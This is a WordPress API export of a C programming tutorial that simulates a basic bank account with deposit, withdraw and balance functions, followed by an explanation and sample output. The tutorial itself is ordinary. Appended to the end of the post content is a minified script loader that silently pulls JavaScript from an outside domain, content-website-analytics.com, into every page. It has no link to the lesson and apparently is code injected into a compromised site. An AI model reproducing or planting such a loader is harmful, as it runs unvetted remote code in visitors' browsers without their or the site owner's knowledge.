{"id":800,"date":"2025-11-21T08:54:01","date_gmt":"2025-11-21T03:24:01","guid":{"rendered":"https:\/\/codexplained.in\/?p=800"},"modified":"2025-11-21T08:54:01","modified_gmt":"2025-11-21T03:24:01","slug":"simulate-basic-banking-system-deposit-withdraw","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=800","title":{"rendered":"Simulate Basic Banking System (Deposit, Withdraw)"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\n\/\/ Function declarations\nvoid deposit(float *balance, float amount);\nvoid withdraw(float *balance, float amount);\n\nint main() \n{\n    float balance = 0.0;\n    int choice;\n    float amount;\n\n    while (1) \n{\n        \/\/ Display the menu\n        printf(&quot;\\n--- Basic Banking System ---\\n&quot;);\n        printf(&quot;1. Deposit\\n&quot;);\n        printf(&quot;2. Withdraw\\n&quot;);\n        printf(&quot;3. Check Balance\\n&quot;);\n        printf(&quot;4. Exit\\n&quot;);\n        printf(&quot;Enter your choice: &quot;);\n        scanf(&quot;%d&quot;, &amp;choice);\n\n        switch (choice) \n{\n            case 1:\n                \/\/ Deposit operation\n                printf(&quot;Enter amount to deposit: &quot;);\n                scanf(&quot;%f&quot;, &amp;amount);\n                deposit(&amp;balance, amount);\n                break;\n            case 2:\n                \/\/ Withdraw operation\n                printf(&quot;Enter amount to withdraw: &quot;);\n                scanf(&quot;%f&quot;, &amp;amount);\n                withdraw(&amp;balance, amount);\n                break;\n            case 3:\n                \/\/ Display the current balance\n                printf(&quot;Current Balance: %.2f\\n&quot;, balance);\n                break;\n            case 4:\n                \/\/ Exit the program\n                printf(&quot;Exiting the program. Thank you!\\n&quot;);\n                return 0;\n            default:\n                \/\/ Invalid choice handling\n                printf(&quot;Invalid choice! Please select a valid option.\\n&quot;);\n        }\n    }\n}\n\n\/\/ Function to deposit money into the account\nvoid deposit(float *balance, float amount) \n{\n    if (amount &gt; 0) \n{\n        *balance += amount;\n        printf(&quot;Successfully deposited %.2f. New Balance: %.2f\\n&quot;, amount, *balance);\n    } else \n    {\n        printf(&quot;Invalid deposit amount!\\n&quot;);\n    }\n}\n\n\/\/ Function to withdraw money from the account\nvoid withdraw(float *balance, float amount) \n{\n    if (amount &gt; 0 &amp;&amp; amount &lt;= *balance) \n{\n        *balance -= amount;\n        printf(&quot;Successfully withdrew %.2f. New Balance: %.2f\\n&quot;, amount, *balance);\n    } \n        else if (amount &gt; *balance) \n{\n        printf(&quot;Insufficient balance! Cannot withdraw %.2f\\n&quot;, amount);\n    }\n    else \n{\n        printf(&quot;Invalid withdrawal amount!\\n&quot;);\n    }\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Header Files<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>#include &lt;stdio.h&gt;<\/code>: This library is used for input\/output operations, like printing messages and scanning user input.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Function Declarations<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>deposit<\/code>: This function is responsible for depositing money into the account.<\/li>\n\n\n\n<li><code>withdraw<\/code>: This function handles the withdrawal of money from the account.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>float balance = 0.0<\/code>: The account&#8217;s initial balance is set to zero.<\/li>\n\n\n\n<li><code>while (1)<\/code>: This creates an infinite loop to continuously display the menu options until the user chooses to exit.<\/li>\n\n\n\n<li><code>switch (choice)<\/code>: Based on the user&#8217;s input, the program either deposits money, withdraws money, checks the balance, or exits.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Menu Options<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The program displays a simple menu for the user to select options (Deposit, Withdraw, Check Balance, or Exit).<\/li>\n\n\n\n<li>For deposit and withdraw options, the user is prompted to input an amount, and the respective function is called.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Deposit Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This function checks if the deposit amount is valid (greater than 0) and then adds the amount to the balance.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Withdraw Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This function checks if the withdrawal amount is valid (greater than 0) and that the user has sufficient balance. If both conditions are met, the amount is deducted from the balance.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Balance Check<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The current balance is printed when the user selects the &#8220;Check Balance&#8221; option.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<p><strong>Output:<\/strong><\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n--- Basic Banking System ---\n1. Deposit\n2. Withdraw\n3. Check Balance\n4. Exit\nEnter your choice: 1\nEnter amount to deposit: 500\nSuccessfully deposited 500.00. New Balance: 500.00\n\n--- Basic Banking System ---\n1. Deposit\n2. Withdraw\n3. Check Balance\n4. Exit\nEnter your choice: 2\nEnter amount to withdraw: 200\nSuccessfully withdrew 200.00. New Balance: 300.00\n\n--- Basic Banking System ---\n1. Deposit\n2. Withdraw\n3. Check Balance\n4. Exit\nEnter your choice: 3\nCurrent Balance: 300.00\n\n--- Basic Banking System ---\n1. Deposit\n2. Withdraw\n3. Check Balance\n4. Exit\nEnter your choice: 4\nExiting the program. Thank you!\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Summary:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>This program provides basic functionality for depositing and withdrawing money in a simple banking system.<\/li>\n\n\n\n<li>The menu-driven approach allows users to interact with the system easily.<\/li>\n\n\n\n<li>Error handling is in place to manage invalid inputs and insufficient balance conditions.<\/li>\n<\/ul>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: Output: Summary:<\/p>\n","protected":false},"author":45,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-800","post","type-post","status-publish","format-standard","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/800","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=800"}],"version-history":[{"count":2,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/800\/revisions"}],"predecessor-version":[{"id":1239,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/800\/revisions\/1239"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=800"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=800"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=800"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}